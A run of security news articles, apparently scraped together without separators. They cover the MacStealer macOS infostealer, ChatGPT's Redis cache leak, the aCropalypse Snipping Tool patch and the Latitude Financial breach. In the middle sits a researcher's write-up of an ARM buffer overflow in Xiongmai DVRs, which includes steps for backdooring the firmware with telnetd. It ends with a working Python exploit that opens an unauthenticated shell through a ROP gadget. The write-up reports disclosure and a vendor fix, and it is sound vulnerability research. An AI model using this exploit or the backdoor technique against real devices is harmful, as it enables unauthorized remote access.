New MacStealer macOS Malware Steals iCloud Keychain Data and Passwords

Mar 27, 2023Ravie LakshmananData Safety / Endpoint Security

A new information-stealing malware has set its sights on Apple’s macOS operating system to siphon sensitive information from compromised devices.

Dubbed MacStealer, it’s the latest example of a threat that uses Telegram as a command-and-control (C2) platform to exfiltrate data. It primarily affects devices running macOS versions Catalina and later running on M1 and M2 CPUs.

“MacStealer has the ability to steal documents, cookies from the victim’s browser, and login information,” Uptycs researchers Shilpesh Trivedi and Pratik Jeware said in a new report.

First advertised on online hacking forums at the start of the month, it is still a work in progress, with the malware authors planning to add features to capture data from Apple’s Safari browser and the Notes app.

In its current form, MacStealer is designed to extract iCloud Keychain data, passwords and credit card information from browsers like Google Chrome, Mozilla Firefox, and Brave. It also features support for harvesting Microsoft Office files, images, archives, and Python scripts.

The exact method used to deliver the malware is not known, but it is propagated as a DMG file (weed.dmg) that, when executed, opens a fake password prompt to harvest the passwords under the guise of seeking access to the System Settings app.

MacStealer is one of several info-stealers that have surfaced just over the past few months and adds to an already large number of similar tools currently in the wild.

This also includes another piece of new C#-based malware called HookSpoofer that’s inspired by StormKitty and comes with keylogging and clipper abilities and transmits the stolen data to a Telegram bot.

Another browser cookie-stealing malware of note is Ducktail, which also uses a Telegram bot to exfiltrate data and re-emerged in mid-February 2023 with improved tactics to sidestep detection.

This involves “changing the initial infection from an archive containing a malicious executable to an archive containing a malicious LNK file that would start the infection chain,” Deep Instinct researcher Simon Kenin said earlier this month.


Discover the Hidden Dangers of Third-Party SaaS Apps

Are you aware of the risks associated with third-party app access to your company’s SaaS apps? Join our webinar to learn about the types of permissions being granted and how to minimize risk.


Stealer malware is typically spread through different channels, including email attachments, bogus software downloads, and other social engineering techniques.

To mitigate such threats, it’s recommended that users keep their operating system and security software up to date and avoid downloading files or clicking links from unknown sources.

“As Macs have become increasingly popular in the enterprise among leadership and development teams, the more important the data stored on them is to attackers,” SentinelOne researcher Phil Stokes said last week.

Found this article interesting? Follow us on Twitter and LinkedIn to read more exclusive content we post.
ChatGPT’s history bug may have also exposed payment info, says OpenAI

ChatGPT’s history bug may have also exposed payment info, says OpenAI


The company has published additional details and a technical breakdown of what lead it to take down the service on Monday.

A laptop surrounded by green and pink message boxes that say “warning.”

Photo by Amelia Holowaty Krales / The Verge

OpenAI has announced new details about why it took ChatGPT offline on Monday, and it’s now saying that some users’ payment information may have been exposed during the incident.

According to a post from the company, a bug in an open source library called redis-py created a caching issue that may have shown some active users the last four digits and expiration date of another user’s credit card, along with their first and last name, email address, and payment address. Users also may have seen snippets of others’ chat histories as well.

This isn’t the first time caching issues have caused users to see each other people’s data — famously, on Christmas Day in 2015, Steam users were served pages with information from other users’ accounts. There is some irony in the fact that OpenAI puts a lot of focus and research into figuring out the potential security and safety ramifications of its AI, but that it was caught out by a very well-known security issue.

The company says the payment info leak may have affected around 1.2 percent of ChatGPT Plus who used the service between 4AM and 1PM ET on March 20th.

There are two scenarios that could’ve caused payment data to be shown to an unauthorized user, according to OpenAI. If a user went to the My account > Manage subscription screen, during the timeframe, they may have seen information for another ChatGPT Plus user who was actively using the service at the time. The company also says that some subscription confirmation emails sent during the incident went to the wrong person and that those include the last four digits of a user’s credit card number.

The company says it’s possible both these things happened before the 20th but that it doesn’t have confirmation that ever happened. OpenAI has reached out to users who may have had their payment information exposed.

As for how this all happened, it apparently came down to caching. The company has a full technical explanation in its post, but the TL;DR is that it uses a piece of software called Redis to cache user information. Under certain circumstances, a canceled Redis request would result in corrupted data being returned for a different request (which shouldn’t have happened). Usually, the app would get that data, say, “this isn’t what I asked for,” and throw an error.

But if the other person was asking for the same type of data — if they were looking to load their account page and the data was someone else’s account information, for example — the app decided everything was fine and showed it to them.

That’s why people were seeing other users’ payment info and chat history; they were being served cache data that was actually supposed to go to someone else but didn’t because of a canceled request. That’s also why it only affected users who were active. People who weren’t using the app wouldn’t have their data cached.

What made things really bad was that, on the morning of March 20th, OpenAI made a change to its server that accidentally caused a spike in canceled Redis requests, upping the number of chances for the bug to return an unrelated cache to someone.

OpenAI says that the bug, which appeared in one very specific version of Redis, has now been fixed and that the people who work on the project have been “fantastic collaborators.” It also says that it’s making some changes to its own software and practices to prevent this type of thing from happening again, including adding “redundant checks” to make sure the data being served actually belongs to the user requesting it and reducing the likelihood that its Redis cluster will spit out errors under high loads.

While I’d argue that those checks should’ve been there in the first place, it’s a good thing that OpenAI has added them now. Open source software is essential for the modern web, but it also comes with its own set of challenges; because anyone can use it, bugs can affect a wide number of services and companies at once. And, if a malicious actor knows what software a specific company uses, they can potentially target that software to try and knowingly introduce an exploit. There are checks that make doing so harder, but as companies like Google have shown, it’s best to work to make sure it doesn’t happen and to be prepared for it if it does.

Exploiting: Buffer overflow in Xiongmai DVRs

Exploiting: Buffer overflow in Xiongmai DVRs

As part of my work at FortNet I’ve had the chance to research some embedded devices. This provided a good chance to learn more about the ARM architecture and the differences between ARM and x86 exploitation.

Often, IoT is overlooked in threat assessments due to most consumer devices acting as black boxes with closed source code. Threat actors have and will continue to use exploits in embedded devices for initial access to networks. For example, the 2015 breach of Hacking Team by Phineas Fisher involved a simple shellshock exploit against their SonicWall applicance.

To even start my research, I needed physical access to a widely used embedded device. The candidate was a cheap “Hiseeu” DVR off Aliexpress which would ship with generic firmware. You can get a sense of how many devices are impacted when looking at the list of vendors rebranding Xiongmai.

After a month or so of waiting, I received the DVR and got to work. While the firmware is easily available online, to exploit any memory corruption vulnerabilities I would need to attach a debugger such as gdb with gdbserver.

Research on these devices back in 2017 is available on Github. I was hoping for easy access via telnet or the 9527 backdoor port mentioned within. In my better judgement I decided not to give the device access to my network. Using an ethernet cable between a laptop and the DVR directly allowed me to view the web interface.

With network access, I decided to do a port scan to see any open ports that could be useful. I was out of luck and both the telnet and backdoor ports were closed.

Opening the casing and looking at the circuit board revealed a labelled serial connector with GND, TX, RX. Connecting to this at the default baud rate of 115200bps gave me access to the U-Boot console. However, no amount of changing bootargs to mess with the init, tty or single-user mode would give me a shell.

At the risk of breaking the DVR and turning it into a paperweight, my last idea was to create a backdoored firmware.

[email protected]:/home/chris/Downloads/xiongmai# file C638023A.bin
C638023A.bin: Zip archive data, at least v2.0 to extract
[email protected]:/home/chris/Downloads/xiongmai# mv C638023A.bin
[email protected]:/home/chris/Downloads/xiongmai# unzip
  inflating: web-x.cramfs.img
  inflating: custom-x.cramfs.img
  inflating: user-x.cramfs.img
  inflating: uImage.img
  inflating: romfs-x.cramfs.img
  inflating: logo-x.cramfs.img
  inflating: u-boot.bin.img
  inflating: InstallDesc

Using firmware mod kit with the script, the main filesystem was extracted. To try and get a shell /etc/init.d/rcS was modified so telnetd starts on each boot.

The modified romfs is rebuilt using and can be zipped up with the other components to create a full firmware image.

# cp firmware-mod-kit/fmk/new-firmware.bin romfs-x.cramfs.img
# rm -rf firmware-mod-kit/
# zip -r backdoored.bin *

After installing a Windows VM and disabling some security controls in Internet Explorer – I was able to use the interface and upgrade.

Since there are no checks to verify if a firmware upgrade is legitimate, it completed successfully and I can move onto finding an exploit. Lack of firmware integrity checks on these devices is a known issue exploited in the wild since 2019.

# telnet 4444
Connected to
Escape character is '^]'.
~ # 

A couple minutes into network fuzzing, I was able to find a promising crash within the RTSP server. Looking for the PID listening on 554, I can see that /var/Sofia is responsible for handling the service. This binary is responsible for most functions on the device, such as the web server (80), RTSP (554) and DVRIP (34567).

The request that caused the crash looked like this:

OPTIONS rtsp:// RTSP/1.0

To understand what was happening, I opened the Sofia binary in Ghidra. It was likely due to an unsafe strcpy or strncpy since the buffer stopped being copied on a NULL byte (x00). The binary is stripped and quite large, so it took a bit of trial and error with breakpoints until I identified the problem.

I’ve renamed some variables to make it easier to read.

A fixed buffer of size 2048 bytes is allocated and the RTSP request data is checked to make sure it has a value.

The RTSP request is checked to see if it contains two carriage returns. The length of the request is stored in payloadLen.

Finally, strncpy moves (payloadLen) bytes of (payloadData) into the fixed 2048 buffer. This allows for a buffer overflow if the request is over 2048 bytes.

Full ASLR is enabled which means the position of the stack, VDSO and shared memory regions will be randomized. However, using checksec we can see that the binary has not been compiled as a position-independent executable (no PIE).

Escape character is '^]'.
~ # cat /proc/sys/kernel/randomize_va_space
[email protected]:/home/chris# checksec --file=Sofia
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols        No    0               23              Sofia

To verify that the PC register can be controlled, we can attach gdb and send the payload with a simple python program.

import socket

filler = b"A" * 3000
payload = b"OPTIONS rtsp:// RTSP/1.0rnCSeq: %srnrn" % filler
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("", 554))

When sent, there is a nice crash showing the PC filled with A’s. The program counter (PC) can be compared to the EIP register on x86. Control over it means we can jump to functions or shellcode to try and exploit the bug.

*Technically, we are overwriting the frame pointer (FP) and then the link register (LR) after. This is important because the link register contains the return address. If we can overwrite the LR then PC will be controlled once the function tries to return. Unlike x86 there are multiple ways to return from a function. The important thing is controlling LR when it does.

To find the exact point where it’s overwritten, a random string is written instead of A’s.

import socket, string, random

def randomword(length):
   letters = string.ascii_uppercase
   return ''.join(random.choice(letters) for i in range(length))

filler = bytes(randomword(3000), 'utf-8')
payload = b"OPTIONS rtsp:// RTSP/1.0rnCSeq: %srnrn" % filler
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("", 554))

The register is overwritten with the characters backwards due to little-endianess.

Looking for the string “MMGS” in the text tells me 2009 bytes of padding is required and the next four bytes will be the value of PC.

Now where do we return to?

The research in 2017 abused an LFI in the uc-httpd webserver to bypass ASLR. This has been patched and my DVR firmware version isn’t vulnerable. I need to take advantage of the non-PIE compiled binary to exploit this bug. In simple terms, this means the binary itself executes from the same addresses. For example, the system function at 0x011ef4 will stay at 0x011ef4 while the system function from libc at 0xb6f12444 will change each time the program is run.

A pointer to our RTSP request is stored in the R9 register. To execute a command with the system() function, it must be null terminated and in the R0 register. If we can move this address into R0 and call system, any command could be executed.

To do this, I’ll find a “gadget” which will do what we want. In this case, we want R9 to be moved into R0 and then the address of system placed in PC. In ARM the first part would be “mov r0, r9”.

The Sofia binary is large enough to provide almost any gadget I could want. If this wasn’t the case, a chain of gadgets using either ROP (return oriented programming) or JOP (jump oriented programming) would be needed.

Objdump and grep worked here, though tools such as Ropper exist if you’re not so lucky.

The perfect gadget is available at 0x35c1b8. It simply moves R9 to R0 and calls system. This is enough to completely bypass ASLR.

This is how a finished exploit looks for my firmware version. Some things to keep in mind:

  • Addresses must be written backwards due to little-endianess.
  • If your firmware is not the same version as mine (V4.03.R11.C638023A) the exploit below probably won’t work. A new gadget address must be found for each version (potentially the amount of filler bytes as well).
  • There is a watchdog which will eventually reboot the device after any failed exploit attempt. Targeted attacks are a very real threat but mass-exploitation without version disclosure (LFI/authentication/other) is unlikely.
import socket
command = b";telnetd -p1234 -l/bin/sh;#" # Execute command, ignore junk before/after

filler = command # Start CSeq with command
filler += b"A" * (2009 - len(command)) # Fill 2009 bytes in total
filler += b"xb8xc1x35x00" # Gadget (mov r0,r9  bl system)
payload = b"OPTIONS rtsp:// RTSP/1.0rnCSeq: %srnrn" % filler
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("", 554))
print("Exploit sent.")

Here’s how it looks in action 🙂

This was a lot of fun and a great learning experience, despite it being a very simple exploit. Just by looking at Shodan, a large number of potentially vulnerable devices are exposed. Make sure no un-patched devices on your network are unintentionally exposed to the internet.

I contacted Xiongmai’s security team and they have quickly rolled out fixes for affected devices. The updated firmware can be downloaded here and installed via the web interface. Xiongmai’s response time was very impressive considering the reputation many Chinese vendors have.

  • 27/01/2022 – Attempted contact
  • 09/02/2022 – Provided more detailed information
  • 22/02/2022 – Fixed firmware is available for all vulnerable models

Massive thanks to Azeria Labs and Attify for their great learning materials; I’m still new to ARM exploitation, so I may have been incorrect at points during this post. In the future I hope to challenge myself with research into embedded security appliances (VPNs, gateways etc.)

Microsoft assigns CVE to Snipping Tool bug, pushes patch to Store

Last week was aCropalypse week, where a bug in the Google Pixel image cropping app made headlines, and not just because it had a funky name.

(We formed the opinion that the name was a little bit OTT, but we admit that if we’d thought of it ourselves, we’d have wanted to use it for its word-play value alone, even though it turns out to be harder to say out loud than you might think.)

The bug was the kind of programming blunder that any coder could have made, but that many testers might have missed:

Image cropping tools are very handy when you’re on the road and you want to share an impulse photo, perhaps involving a cat, or an amusing screenshot, perhaps including a wacky posting on social media or a bizarre ad that popped up on a website.

But quickly-snapped pics or hastily-grabbed screenshots often end up including bits that you don’t want other people to see.

Sometimes, you want to crop an image because it simply looks better when you chop off any extraneous content, such as the graffiti-smeared bus stop on the left hand side.

Sometimes, however, you want to edit it out of decency, such as cutting out details that could hurt your own (or somone else’s) privacy by revealing your location or situation unnecessarily.

The same is true for screenshots, where the extraneous content might include the content of your next-door browser tab, or the private email directly below the amusing one, which you need to cut out in order to stay on the right side of privacy regulations.

Be aware before you share

Simply put, one of the primary reasons for cropping photos and screenshots before you send them out is to get rid of content that you don’t want to share.

So, like us, you probably assumed that if you chopped bits out of a photo or screenshot and hit [Save], then even if the app kept a record of your edits so you could revert them later and recover the exact original…

…those chopped-off bits would not be included in any copies of the edited file that you chose to post online, email to your chums, or send to a friend.

The Google Pixel Markup app, however, didn’t quite do that, leading to a bug denoted CVE-2023-20136.

When you saved a modified image over the old one, and then opened it back up to check your changes, the new image would appear in its cropped form, because the cropped data would be correctly written over the start of the previous version.

Anyone testing the app itself, or opening the image to verify it “looked right now” would see its new content, and nothing more.

But the data written at the start of the old file would be followed by a special internal marker to say, “You can stop now; ignore any data hereafter”, followed entirely incorrectly by all the data that used to appear thereafter in the old version of the file.

As long as the new file was smaller than the old one (and when you chop the edges off an image, you expect the new version to be smaller), at least some chunks of the old image would escape at the end of the new file.

Traditional, well-behaved image viewers, including the very tool you just used to crop the file, would ignore the extra data, but deliberately-coded data recovery or snooping apps might not.

Pixel problems repeated elsewhere

Google’s buggy Pixel phones were apparently patched in the March 2023 Android update, and although some Pixel devices received this month’s updates two weeks later than usual, all Pixels should now be up-to-date, or can be force-updated if you perform a manual update check.

But this class of bug, namely leaving data behind in an old file that you overwrite by mistake, instead of truncating its old content first, could in theory appear in almost any app with a [Save] feature, notably including other image-cropping and screenshot-trimming apps.

And it wasn’t long before both the Windows 11 Snipping Tool and the Windows 10 Snip & Sketch app were found to have the same flaw:

You could crop a file quickly and easily, but if you did a [Save] over the old file and not a [Save As] to a new file, where there would be no previous content to leave behind, a similar fate would await you.

The low-level causes of the bugs are different, not least because Google’s software is a Java-style app and uses Java libraries, while Microsoft’s apps are written in C++ and use Windows libraries, but the leaky side-effects are identical.

As our friend and colleague Chester Wisniewski quipped in last week’s podcast, “I suspect there may be a lot of talks in August in Las Vegas discussing this in other applications.” (August is the season of the Black Hat and DEF CON events.)

What to do?

The good news for Windows users is that Microsoft has now assigned the identifier CVE-2023-28303 to its own flavour of the aCropalypse bug, and has uploaded patched versions of the affected apps to the Microsoft Store.

In our own Windows 11 Enterprise Edition install, Windows Update showed nothing new or patched that we needed since last week, but manually updating the Snipping Tool app via the Microsoft Store updated us from 11.2302.4.0 to 11.2302.20.0.

We’re not sure what version number you’ll see if you open the buggy Windows 10 Snip & Sketch app, but after updating from the Microsoft Store, you should be looking for 10.2008.3001.0 or later.

Microsoft considers this a low-severity bug, on the grounds that “successful exploitation requires uncommon user interaction and several factors outside of an attacker’s control.”

We’re not sure we quite agree with that assessment, because the problem is not that an attacker might trick you into cropping an image in order to steal parts of it. (Surely they’d just talk you into sending them the whole file without the hassle of cropping it first?)

The problem is that you might follow exactly the workflow that Microsoft considers “uncommon” as a security precaution before sharing a photo or screenshot, only to find that you unintentionally leaked into a public space the very data you thought you had chopped out.

After all, the Microsoft Store’s own pitch for the Snipping Tool describes it as a quick way to “save, paste or share with other apps.”

In other words: Don’t delay, patch it today.

It only takes a moment.

Latitude Financial Admits Breach Impacted Millions

Latitude Financial has revealed that a cyber-attack announced earlier this month resulted in the theft of over 14 million customer records, including sensitive personal information.

The Melbourne-headquartered consumer lender said in a statement today that hackers took 7.9 million Australian and New Zealand driver’s licence numbers, 40% of which were submitted to the firm in the past 10 years.

An additional 6.1 million records dating back to 2005 were also stolen, of which 94% were provided before 2013. However, many of these will still be valid, as they contain personal details such as name, address, telephone number and date of birth.

Some 53,000 passport numbers were also stolen, as were the financial statements related to “less than 100 customers.”

Originally, Latitude Financial claimed the breach had resulted in the loss of only around 100,000 identification documents and 225,000 customer records.

Read more on Australian data breaches: Aussie Data Breaches Surge 489% in Q4 2022.

Although it claimed no suspicious activity has been observed since March 16, the firm will likely face a significant fall-out from the incident.

Customers are likely to be bombarded with convincing phishing attacks using the stolen data to obtain financial details, while scammers could also buy the information online to attempt identity fraud.

Latitude Financial CEO, Ahmed Fahour, described today’s news as “hugely disappointing” and apologized to affected customers.

“We are committed to working closely with impacted customers and applicants to minimize the risk and disruption to them, including reimbursing the cost if they choose to replace their ID document. We are also committed to a full review of what has occurred,” he added.

“We urge all our customers to be vigilant and on the look-out for suspicious behavior relating to their accounts. We will never contact customers requesting their passwords.”

Attackers reportedly managed to obtain Latitude employee credentials to access the documents, although it’s not clear exactly how.

Latitude Financial is Australia’s largest non-bank lender and provides buy now, pay later (BNPL) services to a string of popular domestic retailers.